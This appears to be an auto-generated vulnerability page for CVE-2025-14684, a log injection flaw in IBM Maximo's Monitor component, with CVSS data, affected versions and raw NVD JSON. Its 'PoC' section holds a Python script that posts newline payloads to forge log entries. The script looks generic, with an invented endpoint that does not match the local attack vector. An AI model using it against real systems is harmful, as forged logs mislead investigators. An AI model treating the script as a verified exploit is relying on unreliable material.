Security Vulnerability Report
中文
CVE-2025-14684 CVSS 4.0 MEDIUM

CVE-2025-14684

Published: 2026-03-25 22:16:19
Last Modified: 2026-03-31 20:20:07

Description

IBM Maximo Application Suite - Monitor Component 9.1, 9.0, 8.11, and 8.10 could allow an unauthorized user to inject data into log messages due to improper neutralization of special elements when written to log files.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:maximo_application_suite:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:maximo_application_suite:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:maximo_application_suite:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:maximo_application_suite:*:*:*:*:*:*:*:* - VULNERABLE
IBM Maximo Application Suite Monitor Component 9.1
IBM Maximo Application Suite Monitor Component 9.0
IBM Maximo Application Suite Monitor Component 8.11
IBM Maximo Application Suite Monitor Component 8.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2025-14684: Log Injection # This script demonstrates how to inject newline characters into log files. import requests def exploit_log_injection(target_url): # Payload containing newline characters to forge log entries payload = "User Input \n [INFO] Admin login successful \n [ERROR] Database connection failed" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2025-14684-Scanner" } try: # Send the malicious payload to the vulnerable endpoint response = requests.post(target_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully. Check server logs for injected entries.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual vulnerable endpoint URL target = "http://vulnerable-host/maximo/api/log/endpoint" exploit_log_injection(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14684", "sourceIdentifier": "[email protected]", "published": "2026-03-25T22:16:18.660", "lastModified": "2026-03-31T20:20:07.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Maximo Application Suite - Monitor Component 9.1, 9.0, 8.11, and 8.10 could allow an unauthorized user to inject data into log messages due to improper neutralization of special elements when written to log files."}, {"lang": "es", "value": "IBM Maximo Application Suite - Monitor Component 9.1, 9.0, 8.11 y 8.10 podría permitir a un usuario no autorizado inyectar datos en los mensajes de registro debido a una neutralización inadecuada de elementos especiales al escribirse en los archivos de registro."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-117"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:maximo_application_suite:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.10", "versionEndExcluding": "8.10.26", "matchCriteriaId": "202DA614-9FA9-49BB-A847-97ACE508822E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:maximo_application_suite:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.11", "versionEndExcluding": "8.11.24", "matchCriteriaId": "2118EDE1-491F-4697-BD79-4261F62FE712"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:maximo_application_suite:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0", "versionEndExcluding": "9.0.16", "matchCriteriaId": "96448D2A-6208-4B95-B43C-08DF6746FC3F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:maximo_application_suite:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.1", "versionEndExcluding": "9.1.6", "matchCriteriaId": "1BCEFF22-070F-47FA-9C14-CCDA3B6AE38A"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7267481", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}